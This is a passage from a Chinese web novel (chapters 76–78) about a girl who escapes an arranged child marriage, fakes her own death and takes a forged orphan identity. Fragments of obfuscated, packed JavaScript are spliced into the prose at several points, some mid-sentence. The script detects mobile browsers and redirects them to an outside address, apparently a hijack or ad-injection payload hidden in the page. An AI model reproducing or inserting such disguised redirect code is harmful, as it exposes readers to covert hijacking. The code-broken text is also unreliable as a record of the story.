只有祝璋和裴馨知道,枕安的画室里摆着“半幅”肖像画。他说过,他经常失眠,更少入梦,但每次做梦,都会看到那番景象,索性就画了出来,也许跟他丢失的那些记忆有关。 一晃两年,他平稳迈过了二十岁这道关,祝璋也终于松口,同意裴馨帮他进行下一步“治疗”。 然而治疗结果却不尽如人意。枕安的记忆盒子就像被封死了,他和裴馨合力使尽浑身解数也撬不开一条缝隙。 “也许现在还不是时候。”裴馨只能这样安慰他,“你还需要等待一个契机。” “什么契机?” “等你遇到了,就知道了。” 他不知道的是,其实祝璋手上早有一条重要线索,只是一直瞒着没告诉他罢了。 “之前去销户的时候,我查了他的银行流水,发现他花了几百万去做慈善。”祝璋私下悄悄跟裴馨说,“我找那个基金会的负责人了解过,这个项目是他一手做起来的,对捐助对象的户籍地有严格限制,还指定了打款日期。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112051|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你不打算告诉他吗?”裴馨问,“也许……这就是那个‘契机’呢?” 祝璋摇摇头:“说实话,我一点也不希望他把忘掉的事情重新记起来。万一他再去捅祝高远一刀,闹出人命来,我可没法收拾这烂摊子。” 裴馨不置可否,转而问道:“现在‘祝琰’去世了,那个慈善项目是不是也停摆了?” “没有,就是换了个资助人。” “谁?” “我。”祝璋顿了顿,低声嘟囔一句,“我可够对得起这臭小子了。” “你也不亏呀。”裴馨对她笑笑,“公益捐助,正好抵税嘛。” “亏不亏都无所谓了。”祝璋苦笑道,“我只盼着他别再作妖,好好把下半辈子过完。” 谢天谢地,接下来的几年里,祝琰确实没再让祝璋操过心。他的画卖得不错,价格一路水涨船高,甚至帮祝璋把之前做慈善的那部分开销都补了回来。 这年万圣节前夜,祝璋突然给枕安打去电话,布置了一个特殊的任务。 “一会有个娱乐公司的工作人员会联系你,你随便应付一下就行,不要答应她提出的任何补偿方案。” 枕安一头雾水:“什么娱乐公司?联系我做什么?补偿方案又是怎么回事?” 祝璋简单解释了一通来龙去脉,末了再次叮嘱他:“绝对不要答应帮况星宸洗白。你要做的就是拖延时间,一直耗到采访开始,让他的公关团队回天乏术。” “我……尽量吧。”枕安在社交方面很没自信,“我很久没跟外人打过交道了。” “这还不简单?”祝璋进入教学模式,“你就表现出很生气的样子,不论他们提出什么补偿方案,你都说这是对艺术的侮辱,不就行了?” 枕安认真记下一条条表演要点,静待星桥娱乐的人来联系他。 然而他没有想到,对方发来的工卡照片就像一把特殊的钥匙,冷不防打开了他尘封多年的记忆盒子。 “向宁。” 他喃喃念出她的名字,脑中浮现的却是某个遥远村庄里的一朵小花。 对,是她。一定是她,不会有错! 伴随着剧烈的头痛,记忆像冰冷的河水一样奔涌出来,带着陈年的霉味和刺骨的寒意。 她的工卡上也有一张红底证件照,那双眉眼被他描摹过无数遍,追忆过无数遍。 恍惚间,枕安不由得开始怀疑——是不是自己的记忆出了错,也许,她的死亡只是自己做的一场噩梦? 又或许,眼前的一切才是自己在梦中的一抹幻想? 不,他希望这不是梦,他需要确认这不是梦。 “这不是梦。”向宁轻轻握住他颤抖的双手,“我不知道,原来你一直背负着这么沉重的记忆。” 枕安反握住她的手,哽咽道:“抱歉,我不是故意瞒你这么久的。只是……我真的很害怕,怕你知道以后会怨我、恨我。我只是想好好补偿你,别无所求。” “我不会恨你。”向宁伸手抚上他脸颊,用拇指拭去他的眼泪,“你也不欠我什么。” 他的故事讲完,先前那瓶果酒已经见了底。 向宁又从酒柜里取出一瓶白葡萄酒。 “现在,要听听我的故事吗?” 76. 往事-小花(一) 十六岁,是小花辍学的第一年。 每天一睁眼就是收拾家务,给爹和弟弟变着花样做饭,每根头发丝都被油烟熏透了,怎么洗都洗不掉那股味。 闲暇时光,她唯一的娱乐就是去对门借宋骄的旧书来看。宋阿姨怕冷清,家里的电视总是开着,唯独在小花来访时,会将电视调成静音。 “没事宋姨,您把声音打开吧。这片子没字幕,总不能当默片看呀。” 宋阿姨骄傲地摆摆手:“不用,这片子我看了好多遍,倒着都能背下来!” 小花认得屏幕上的女主角,向晚蘅。宋阿姨总说小花的妈妈长得跟向晚蘅有五分相似,小花自己倒没这么觉得,主要是因为她对妈妈的记忆已经很模糊了。 她只记得妈妈的手很软,总是轻轻拍着她的背;妈妈的笑声很轻,后来却不怎么听得到了。 不过,也许是宋阿姨时常挂在嘴边的念叨起了作用,小花偶尔会盯着电视里的向晚蘅,想象妈妈如果还在,会是什么样子,渐渐也觉得有些亲切。 十六岁,也是小花认识向晚蘅的第一年——真正意义上的“认识”。 那天中午的太阳很毒,十四岁的弟弟花强兴冲冲跑进家门,大喊道:“爹,村里聚了好多人!听说有大明星要来咱这拍戏,还要在咱这选几个小孩当演员呢!” 小花闻声抬头,视线穿过厨房的小窗,直直落在外面乱哄哄的人群中,一眼就看到了向晚蘅。 “听说开拍之前,导演要求所有演员跟村民同吃同住同劳动,说是体验生活啥的。”花强搬了把小板凳坐在门边,语带嘲弄道,“就属那帮女演员事多,挑三拣四的,但凡有男人的门户,人家就不愿意住。村里总共也没几个寡妇,都快不够给她们分了!” 小花嫌恶地看他一眼,没有作声,只是加快了洗碗的动作。 老花却很有兴趣,忙问:“都有啥角色?你也是小孩,咋不去报名呢?” “就是演那帮大人小时候的角色。”花强撇撇嘴道,“我去过了,人家说我跟那几个男演员长得不像,就把我给刷下来了。” 说到这里,花强眼神一转,自顾自凑到姐姐身边,也不知是认真还是玩笑道:“诶,我觉得你跟向晚蘅长得挺像,要不你去报名试试呗!” 不等小花应声,后方便飞来一只布鞋,又稳又准地拍到了花强后脑。 “你咋啥都敢想!?”老花趿着仅剩的另一只鞋走进厨房,“混那个圈子的女人不知道有多脏!你想让你姐也被她们带脏吗?” 花强揉了揉后脑勺,委屈巴巴道:“可是有钱赚啊……” 小花懒得听他们父子俩“朝堂论礼”,甩甩手扔下一句“碗洗完了”,便往卧室跑去。 卧室的窗户更大,也没有油糊着,从这里能清晰地看到宋阿姨把向晚蘅带进了家门。看来在拍摄准备期,她就被安排在宋家借住。 小花找来削铅笔的刀片,偷偷在老花的半碗白酒里泡了泡,再擦拭干净。这个消毒方法是她从宋骄的书里学到的。 家里只有一面小镜子,是妈妈的遗物。小花对镜捏着刀片,小心翼翼地将眉毛修细了些——向晚蘅的眉毛就偏细,这样一来,她能更像她。 宋家小院外围着不少村民,探头探脑朝里面张望,大约都想一睹大明星的芳容,只是顾忌着拴在院门口的凶恶猎犬,才不敢贸然进去打扰。 小花自顾自推开铁门,路过那条狗时还跟它打了个招呼,随后便像往常一样喊道:“宋姨,我来还书啦。” “快进来,我们正聊你呢!”宋阿姨打开房门,兴奋地拉住她的手,把她带到向晚蘅面前,“这就是小花,看看,我说得没错吧,是不是有点像?十六岁,年龄正合适。这孩子嘴巴也厉害,说台词肯定没问题!” 与向晚蘅对视的那一刻,小花看到她惊喜中带着些许好奇的眼神,便知道自己这次没白来。 当天晚上,选角导演芳姐亲自拜访花家,邀请小花加入剧组。老花起初坚持不同意,直到听见了五位数的片酬,看见了四位数的“定金”,才忙不迭把女儿推了出去。 “不过,还有件事咱们得事先说好。”老花吐了口唾沫,一边数钱一边说,“我闺女不能在剧组过夜,而且每天早午晚都得按时回家做饭。” 芳姐嘴角微微抽了一下,没有说话,移目看向一旁的小花,意在征求她的意见。 小花认真点头:“我没问题。” 此事遂顺利敲定,只是老花后来想起这事,时常懊悔地拍打大腿——唉,不该答应得那么痛快,应该再提一提价码! 正式开拍之前,小花的主要工作就是“语言老师”,负责教向晚蘅学讲当地的土话,教材自然就是剧本了。 “来,跟我念。”小花一本正经道,“逆酒东倒砸儿谢吧。” 向晚蘅模仿着她的语调念了出来,只是还没搞清楚:“这是哪句词来着?” 小花改用不太标准的普通话说:“你就住到这里吧。” 她教得仔细,向晚蘅学得也仔细,几天下来,师生俩在剧本上标满了拼音,每堂课都有欢声笑语相伴。 向晚蘅很喜欢这个小姑娘,喜欢她的青春洋溢,她的坚强乐观。与此同时,每当她爹老花在院外扯着脖子高喊“花娣!回家做饭啦!”向晚蘅的心底也会随之冒出深深的厌恶。 有一次她实在忍不住了,便语带指责道:“你爸也有手有脚,还是个成年人,他就不能自己做饭吗?” 小花深深叹了口气,脸上仍然挂着明媚的笑容:“谁让我爹的爹教子无方呢。” 向晚蘅看不过眼,索性决定自掏腰包,给老花一笔伙食费,让他带儿子在村口的小饭馆解决一日三餐,还小花一个清净。 谁知老花这次竟少见的硬气了一回,连送上门的钞票都不要,就要女儿乖乖听话,按时回家做饭。 俗话说强龙不压地头蛇,老花虽然算不得一条巨蟒,但要真耍起无赖来,谁也拿他没办法。 这天晚上,小花洗完了碗没事做,便打算去宋阿姨家跟她们聊聊天。 她刚进了院门,忽然听见屋后那片矮树丛里传来一阵窸窸窣窣的响动,像是有什么东西在里头拱。 别是有贼吧?她想。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116606|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小花顺手解开狗绳,二黑耳朵一竖,尾巴也跟着抬了起来。小花牵着它慢慢朝树丛靠近,放轻脚步绕到屋后,只见一抹窄长的人影正贴着墙根,鬼鬼祟祟地扒在窗边,手指还抠着窗缝,不知在偷看什么。 小花眯了眯眼,仔细一瞧,那人竟是花强。他面前的窗户透着昏黄灯光,玻璃满是水雾,一看便知里面人在洗澡。 小花见此情形,一股火气“噌”地就窜了上来。这小子平日里就不学好,这会儿居然还干出这种下作事,非得教训教训不可! 于是她二话不说便松了狗绳,同时大喝一声:“二黑!咬死这个不要脸的!” 花强正看得入神,冷不丁听见这一嗓子,立时吓得一哆嗦,也顾不得多想,缩起肩膀撒腿就跑。奈何前脚刚躲过猎犬的利齿,后脚就被小花随手掰下的树枝抽得吱哇乱叫。 “哎哟!姐!别打了!我错了!”花强抱着脑袋,一边躲一边嚎,那树枝却不见停歇,仍然劈头盖脸地往下抽,每一下都结结实实,用足了力气。 闹了这么大的动静,屋里人自然也听得一清二楚。不多时,宋阿姨便抄起擀面杖跑了出来,花强自知走正路逃跑已经没有希望,便翻身滚到矮树丛里,从院墙下的狗洞里钻了出去。 向晚蘅哪见过这阵仗,一时又是惊慌,又是气恼,亏得小花扛着一人高的大扫帚帮她守窗,她才踏踏实实洗完了这场澡。 谁知次日一早,小花就被他爹绑在了树上。 “来,拿好,有点男子汉的样子!”老花把一根藤条递给花强,“昨天她怎么欺负的你,现在你就给我欺负回去!别让人看扁了咱老花家的爷们!” 花强壮胆似地舔了舔嘴唇,抬手便作势要打。 “住手!”宋阿姨拿着柴刀匆匆跑来,一挥手便斩断了藤条,继而拦在小花身边,怒冲冲道,“你再打她一下试试!?” 花强一见到她就泄了劲,灰溜溜躲到父亲身后。老花见状更是气不打一处来,夺过剩下半截藤条便要接着打。 这时向晚蘅也赶了过来。她知道跟这种人没有道理可讲,便搬来了导演做救兵。 “大哥,小花现在是我们剧组的演员,你要是把她打坏了,演不了戏,那可算合同违约啊,你得赔钱的!” 老花却高高扬起下巴,叫板道:“要钱没有!要命一条!” 导演起初还好声好气,后来也被磨得没了耐心:“这个角色本来也不是非她不可,我也是看在向老师亲自举荐的份上,才为她破了这么多例。你要是这个态度,那咱们干脆把人换了拉倒!” 几人七嘴八舌,越吵越凶,围观的村民也越聚越多。 一个身穿西装的男人不知从哪冒了出来,好不容易才挤到前排,连声高叫道:“姐夫!别打,千万别打啊姐夫!” 小花抬头一看,那人是自己的亲舅舅。妈妈去世后,他们就很少见面了,听说他这几年在城里打工,老板还是个很有钱的大商人,也不知真的假的。 “姐夫,咱进屋细聊。”他一抓住老花的胳膊就不松手,“咱遇上好事了,天大的好事啊!” 77. 往事-小花(二) 切纸刀利落斩下废弃白边,舅舅捏着照片一角,仔细端详了几秒,嘴角微微抬了抬,应该是满意的,同时也松了口气。 他没让小花多看,径直把照片塞进纸袋。 车子发动时,小花忍不住又开了口:“舅,这照片到底是干啥用的?” 舅舅把烟头摁灭在车载烟灰缸里,目光直直地盯着前方,像是没听见似的。耐不住小花反复追问,他才含糊地回了一句:“反正是好事,你别多问。” “啥时候能确定选没选上呢?”老花已经有些迫不及待了。 “现在还在‘海选’阶段,快了两三个月,慢了半年。”舅舅摆出一副讳莫如深的高姿态,“有我在,你还有啥可担心的?” 老花没再吱声,只是摸了摸小花的发顶。在她看来,这动作透着一股子诡异的温情,实在蹊跷。 她知道爹不爱她,否则不会逼她辍学。 有一次向晚蘅夜读剧本,读到一场全面扫盲的重头戏,还没开演就落了半晌的泪。 小花跟她挤在一条凳子上看书,看的是宋骄写满笔记的高中语文课本。她喜欢看那些密密麻麻的手写字,它们承载着某种未竟的梦想。 “我资助你继续上学吧。”向晚蘅突然说,“钱的事情,让你爸不用操心,我负责到底。” 小花却摇了摇头:“我爹不会同意的。他总跟我说,女娃读书太多,心就野了。” 向晚蘅叹了口气,目光落在她脸上,只恨不能看进她心里去:“那你自己是怎么想的?” 小花抿唇一笑,凑到她耳边神秘兮兮地压低声音:“我就算不读书,心也早就野了。” 向晚蘅没说话,伸手搂过小花的肩膀,让她靠在自己身上。她的头发里有一股淡淡的香皂味,应是不久前刚洗过的。 良久,向晚蘅才柔声道:“你知道吗,我以前是戏曲演员出身。” 小花点头:“宋姨总听您的戏,最爱《玉簪记》里的陈妙常。” “我像你这么大的时候,父母也不赞成我学戏,说戏子都是下九流,不仅丢自己的脸,也污家里的门楣。为着这事,我也挨了不少打骂。”向晚蘅摊开手掌,从前的伤痕已被岁月掩盖,寻不到了。 “那你是怎么说服他们的?” “没有说服。”向晚蘅促狭一笑,“我直接跑了。” “跑了?”小花惊得瞪大了眼睛。 “说出来也不算光彩,我偷了家里几块钱,一刀肉,自己跑去拜师学艺了。”向晚蘅的目光渐渐飘远,唇角带着不变的笑意,“一晃十年,我让他们在电视上看见了我。” 小花沉默了一会儿,轻声问:“他们一定很为你骄傲吧?” “没有。”向晚蘅语带讥诮,“他们让我把当初偷的钱还清,加上利息,后面多了个万字。” 她看着怔愣住的小花,又补上一句:“这样也挺好的,我从没后悔过。” 不论时隔多久,小花永远记得向晚蘅说出这句话时的眼神。那双唱惯悲欢离合的凤眼满带坚定,连睫毛都没颤一下。 …… 剧组将进度赶得很紧,几个月的拍摄期一闪而过,转眼就到了尾声。 听导演说,他们还得进山补几个镜头,等这最后几场戏拍完,整个剧组就要撤出村子了。 小花戏份不多,杀青更早,已在家里闲了大半个月,时不时就想起向晚蘅说的那些话。 忙起来的时候,更觉得哪里都看不过眼——灶台上的铁锅腻着油,墙角堆着的柴火也快见了底,从前都是她来收拾的,如今她却厌烦了。 她常常坐在院子里,看着远处的山头发呆。也许他们正在那里拍最后一场戏,也许他们已经离开,她不知道,大约也没人觉得有必要告诉她一声。 手里攥着的剧本,纸页已经被翻得打了卷。 村里的日子依旧平静,可她的心却像是被什么东西搅乱了,再也回不到从前。 饭桌上,老花扒拉完最后一口饭,筷子在碗沿上敲了敲。他的头虽抬着,目光却躲躲闪闪,喉咙里咕哝了一句:“过几天,爹带你上县里买两身新衣服。” 小花夹菜的手顿在半空,半截青菜一点油也滴不下来。 “不年不节的,买衣服做什么?” 话一出口,她自己都觉得好笑。就算是逢年过节,爹也从来没给她添置过什么像样的东西。就连她现在穿的许多衣服,也都是宋骄姐穿剩下的。 老花没接话,低着头把碗筷一推,站起身就往门外走,走到门口时,又不回头地添了一句:“过几天有车来接你,你跟他们走就是了。” 小花越琢磨越不对劲,思索片刻,移目看向仍在一旁大快朵颐的花强。 “听见没,爹要给我买新衣服了。”小花故意提高了声调,语气里带着几分得意,“真是风水轮流转呀。” 花强嘴里还塞着饭,满脸不服气的样子,将眼睛恨恨一瞪,撂下碗筷就跑出门去了。 小花听着他的脚步声渐渐远去,不由弯了弯唇角。她知道,以花强的性子,非得找老花大闹一场不可。 谁承想没过多久,花强就哼着小曲儿晃了回来,嬉皮笑脸的样子让人看了就来气。 他凑到小花跟前拍了拍胸脯,一副大度的样子:“不就一身新衣服吗?我不跟你争!”说完还挤眉弄眼地讥讽道:“毕竟你这辈子也就这一次了!” 小花心里一紧,刚要开口追问,老花就一脚跨进门来,瞪着花强打断道:“把你那两瓣嘴给我夹上!” 花强缩了缩脖子,悻悻溜了出去,临走前还不忘冲小花做一个鬼脸。院子里,他踢石子的声音渐渐远了。 “从今天开始,你不许出去瞎跑。”老花的语气不容置疑,“爹不会害你的,以后你就知道了。” 这不是小花头一回被关禁闭,却是最严苛的一次。除了做饭和上厕所,她不被允许踏出房门一步。花强就是父亲的情报员,一有风吹草动就会向他告密。作为奖励,老花会多给他几块零用钱。 蹲在灶台前择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15121998|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜时,小花偶尔能听见外头的脚步声来来往往,还有花强故意提高嗓门的嬉笑声。不知不觉,她将手里的菜叶捏得稀烂,汁水糊了满手,却无法把心里的憋屈都挤出来。 “花大叔,您闺女在家吗?”窗外忽然传来剧组工作人员的声音,“向老师让我帮忙传个话。” “不在。” “我在!” 父女俩的声音一里一外,撞在了一处。 “她生病了,在家养着呢。”老花急忙抢话道,“有啥事你跟我说就行!” “我没生病!是被我爹关起来了!” 这两句未经允许就溜出窗缝的话语,换来了父亲对她更严苛的管制。 “以后你不用做饭了,我来做!你就老老实实在你屋里待着!” 虽然活动范围再次收缩,但小花并不在乎,还乐得清闲。 卧室的窗户被锁住了,却有人从窗缝里塞进来一张纸条,背面还沾了些墙灰,看来是刚才那位工作人员临时找来纸笔,抵在她家屋墙上写的字。 「今晚六点,村东山脚,剧组杀青宴,向老师邀请你一起参加。明天一早,剧组就要撤了。」 小花刚读完这段话,窗缝里忽又塞进来一张纸条。 「村里有传言说,你父亲要给你包办婚姻,已经定好夫家了。你年龄还小,这是违法的,需要我帮你报警吗?」 小花抓着纸条,只觉脑海里滚过一阵闷雷。直到耳畔传来一阵轻轻的敲窗声,她才回过神来。 「不用报警。」她飞速写下回信,「我会自己想办法的。」 …… 夜深了,石磨般滞重的鼾声从隔壁传来,花家父子俨然已经陷入熟睡。 小花轻轻翻身坐起,手指探进褥子底下摸出一把水果刀——这是前两天做饭时,她偷偷从厨房取来的。 家里铁质的旧式窗框用了很多年,螺丝已经生锈了,咬得很紧。小花用刀尖抵住凹槽,一点一点地拧,每拧一下都发出细微的“吱呀”声。 时间一分一秒地过去,她的手腕渐渐酸得发颤,却不敢停下来。 姐弟俩的卧室只隔着一道薄墙,她听见花强翻身的声音,甚至还伴着几句呓语。 终于,她将笨重的窗框一整个拆下来,轻手轻脚放在床上,压住她刚刚写好的“遗书”。 翻窗逃跑之前,她没忘记带上母亲的遗物。那面小镜子被她用旧衣服裹了一层又一层,像裹着一个易碎的梦。 夜风从窗口灌进来,小花爬到窗台上,半寸半寸地往下蹭,生怕发出任何一点响声。 双脚完全踩上地面的那一刻,她的手心已经洇出一层薄汗,每次深呼吸都有一股凉意顺着喉管直钻进胃里。 院墙看着不高,却也没那么容易翻越。她攀上去时,指甲缝里嵌进去的几粒砂石疼得她直咬下唇。 隔着一道铁门,猎犬二黑遥遥与她对视。 它没有叫,只是摇了摇尾巴,默默注视着小花走进宋家小院,敲响主人的房门。 78. 往事-小花 离开村子时,小花特意特意从全村唯一的监控摄像头下路过,脚步轻快更甚于夜行的猫。 十分钟前她和宋阿姨约好了,一会就在村东半里地的那棵大杨树下碰头。那树已经很老了,树皮裂出无数道皱纹,小虫在里面有一搭没一搭地叫着。 乡下的夜晚实在太黑,整个一盆墨泼在天上,连星星都懒得露脸。 小花站在树下,心里渐渐有些发毛。幸而远处忽然亮起一点光,像只萤火虫越飞越近,稍稍安抚了她紧张的情绪——那是宋阿姨打的手电筒,二黑也跟着一起来了。 为了避开村口的摄像头,宋阿姨专门绕了一大圈远路,因而耽搁了一点时间。不过还好,村里家家户户都灭着灯,没有人察觉这次“出逃行动。” 小花是第一次踏足那片野地,草叶又密又高,几乎没过她的膝盖。脚下的泥土略带潮湿,每走一步都微微下陷,像是踩在什么活物上,让她产生一种这片土地会呼吸的错觉。如果没有宋阿姨引路,她还真不太敢贸然进去。 “这……会有狼吗?”她将声音压得很低,怕惊动了黑暗里的掠食者。 宋阿姨没有正面回答,只是轻轻扯了扯狗绳:“如果有危险,二黑会叫唤的。” 小花不敢掉以轻心,加快脚步往野地深处走去。走到一截枯树旁时,宋阿姨忽然伸手拽住了她的胳膊。 “就这儿吧,这地方好记。” 小花依言站定,脱下外衫递到二黑嘴边,拜托道:“帮帮忙,把它咬烂。” 二黑抬起头,鼻子皱了皱,往后挪了几步,尾巴也不摇了,一副不情不愿的样子。 宋阿姨见状笑骂:“平时在家里不是总爱咬东咬西吗?鞋垫子、扫帚头、沙发单,哪样你没啃过?现在让你放开咬,你怎么倒没本事了?” 二黑的耳朵动了动,像是听懂了这话,眼神里多了几分不服气。它低下头,一口咬住那团外衫,用爪子按在地上,开始用力撕扯,不一会就把它咬成了大大小小的碎布。 “用这片吧。”小花从地上捡起半块补丁,捏着抖了抖灰,“上面有绣样,好辨认。” 语毕伸出左手,用力闭上双眼,“来吧。” 宋阿姨从口袋里摸出一把折叠刀,刀刃短而锋利,在小花掌心上方悬了片刻,却迟迟没有落下。 “不行啊,我下不去手。”宋阿姨的声音有些发抖,竟少见的怯了阵,“要不……我回去割点鸡鸭血来吧。” “那怎么成?”小花猛地睁开眼,“用鸡鸭血糊弄人,到时候让警察一测DNA,不就全露馅了?” 宋阿姨满脸为难,小花看着她叹了口气,“算了,给我吧。” 她接过折叠刀,没有任何犹豫,干脆利索地在自己手上划了一道口子,再把那半块补丁紧紧按在伤口上,鲜血立时染红一片布料。痛感稍晚一步到来,她没有急着松手,直等到鲜血把整块碎布都染透了才算完。 手电筒发出的强光把枯树周围照亮,小花绕着树干转了两圈,眼神落在枝杈间不停搜寻,终于找到一根合适的尖衩,将碎布刺破小洞挂了上去。挂好后,她还不忘用手扯了扯,布料被拉出几道细长的裂痕,像是被树枝无意间刮破的。 做到这一步还嫌不够完善,小花又忍着痛按住尖衩,直到掌心的皮肉被木刺刮下几丝,才缓缓松开手。 她退后一步,眯着眼看了看自己的“杰作”,垂在腿边的左手仍在往下淌血。 她垂眸看看,似是找到了新的灵感,于是就任它那么淌着,一步步朝水流声传来的方向走去。 血珠一颗接一颗砸在地上,形成一条断断续续的虚线,最后在河边停了下来。河水很急,一阵阵翻着白沫啃咬岸边的碎石。 包扎完伤口,她扬手一甩把剩下用不着的碎衣扔进了河里,布料像几片枯叶似的打着旋儿被急流吞没,转眼就没了踪影。紧接着又脱下两只鞋,一只扔进水里,一只浸湿后扔在下游的河岸上。 宋阿姨从包袱里取出一双鞋让她换上。那是宋骄的鞋,小花穿着稍有点大。 “这是我最后一次捡宋骄姐的旧衣服穿了。”她笑着说,“至少,我希望是最后一次。” 宋阿姨没接话,只是盯着她的脸看了半晌,才缓缓开口:“你打算去哪?” 小花没直接回答,反而问她:“阿姨,你看过西游记吗?菩提祖师在孙悟空的头上敲了三下,暗示他三更时分来找自己。” 宋阿姨愣了一下,随即嗤地一声笑了:“那还能没看过吗?” 小花垂下目光:“向阿姨曾经跟我说过她的一段经历,后来我越想越觉得,那就是她在我头上敲了三下。” “你要去找她?可是,有把握吗?万一你误会了……” “无论结果如何,我总要去试一试,万一我今天走大运呢?” “那就祝你好运吧。”宋阿姨摸了摸她的发顶,“明天中午,我带上二黑来这寻你的‘死讯’。” …… 剧组的杀青宴闹到午夜十二点才渐渐散了,小花到得更晚,烧烤炉子里的炭火早已没了温度,酒瓶横七竖八摆了满地,还未来得及收拾。 许多房车和器材车散乱地停在山脚下,小花记得向晚蘅的车牌号,打着手电筒一辆一辆找过去,很快就找到了。 她先敲了敲车门,半晌无人回应,转而又去敲窗,刚响几声,车内的灯就亮了。 车窗打开一条缝,乔煦晗睡眼惺忪,不耐烦道:“谁啊,什么事?” “是我。”小花的声音很轻。 听到这个声音,乔煦晗瞬间清醒了不少。看来,晚蘅姐让她给这小孩塞的纸条没白费。 这时间,旁边的向晚蘅也悠悠醒转,让小花上了房车。 也不知怎么回事,小花还没顾上开口说话,就忍不住哭了起来。 向晚蘅什么也没问,什么也不必问,只对她说:“你要是愿意跟我走,我现在就带你走。” 小花连连点头,眼泪掉得更凶了。 向晚蘅不禁莞尔,扭头对乔煦晗说:“往群里发条消息,就说我有点食物中毒,你得赶紧送我去医院看病,就先开车走了,让他们不用担心。” 乔煦晗点点头,手指在手机上飞快地敲下几行字,随后发动了房车。 “晚蘅姐就盼着你来呢。”她说,“刚才的杀青宴上,她都不许我喝酒。” 小花微微一怔,止住了眼泪。车灯划破黑暗,朝着远方驶去。 …… 与向晚蘅年轻时的离家出走不同,小花这次是破釜沉舟,再也不会回头了。 所以,她需要一个新的身份。而庙小妖风大的县福利院,就将成为最完美的身份中转站。 向晚蘅本想着给他们一笔捐助,让院方给小花伪造一份孤儿的身份资料即可。 谁知院长另有想法:“造假的流程很麻烦,时间成本也高,您直接用现成的就行。” 为了多领补助金,他曾向上虚报过好几个孤儿名额。虽是不存在的假人,却各有各的悲惨身世,履历造假走的还都是正规流程,十几年的档案堆叠起来,确实很难辨出真伪。 几份假资料里,和小花最接近的是个名叫“李丽”的女孩,和她同年出生,月份也挨得很近。 “以后,我就叫这个名字了吗?”她问。 “当然不。”向晚蘅微笑道,“等我办完收养手续,就可以给你改名字了。” 小花如在梦中:“您真的要收养我?” 向晚蘅郑重承诺:“我不会食言的。” 小花压抑着兴奋,尽量让自己看起来成熟稳重一些,奈何演技青涩,眼神已经出卖了她。 “可以让我自己给自己改名吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125214|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 向晚蘅欣然点头:“当然可以,你想叫什么名字?” “向宁!”她早就想好了,想过无数遍了,“安宁的宁。” “跟我姓呀?”向晚蘅起初有些意外,但回过头来一想,又觉得理应如此。 “向宁。”她字正腔圆地叫出这个名字,“你再稍等几天,等办完了收养手续,我马上就带你回家。” 向宁毫不怀疑这份承诺的诚意,即便眼下为了做戏,她还得在福利院里暂住几天,也没什么可担心的。她知道,向阿姨一定会来接她。 然而现实却给了她意想不到的一记重击。 某日院长来访,颇为尴尬地找了几个话题,兜了一大圈才说到正事,虽然语带遮掩,但话中的意思已经再明白不过——向晚蘅突然改变了心意,可能无法再收养她了。 院长看着她如遭雷击的神情,默默叹了口气:“明天上午,向老师会来看看你。到时候,你自己问她吧。” 向宁没有应声,一个人在原地坐了很久。 次日早上,她准时来到食堂,让其他孩子不免吃了一惊。 “那个女孩不是有专人资助,小灶开伙吗?咋跑来跟咱们一起吃大锅饭了?” “不知道,可能那人不继续资助她了呗。” 向宁只当未闻,信步路过一排排餐桌,最后在陈程面前停了下来。 其实她并不知道他的名字,只知道他是这里体格最壮的少年。 向宁把自己的饭盒推到他面前,打开盖子,红烧狮子头的香气扑面而来。再开第二层,油焖大虾已经剥好了壳,泛着诱人的光泽。 陈程不解:“你什么意思?” 向宁面无表情:“我这份饭给你吃,你帮我一个忙。” 陈程想了想,没有急着答应,而是追问道:“我能帮你什么忙?” 向宁表情严肃,眼神也透着认真:“打我一顿。” “哈?”陈程向她投去了围观精神病的眼神。 “我认真的!”向宁重新抓住饭盒,“你不帮我,我找别人去了。” “哎——等等!”陈程连忙起身拦住她,“我也没说不愿意啊……” “那你快吃。”向宁把他按回座位上,摆出监工的架势来,“一定要吃饱啊,多添点力气。” 事实证明,吃人嘴短拿人手软。陈程饱餐一顿后本该信守承诺,奈何一看她饿着肚子可怜兮兮那样,就不忍心下手打她了。 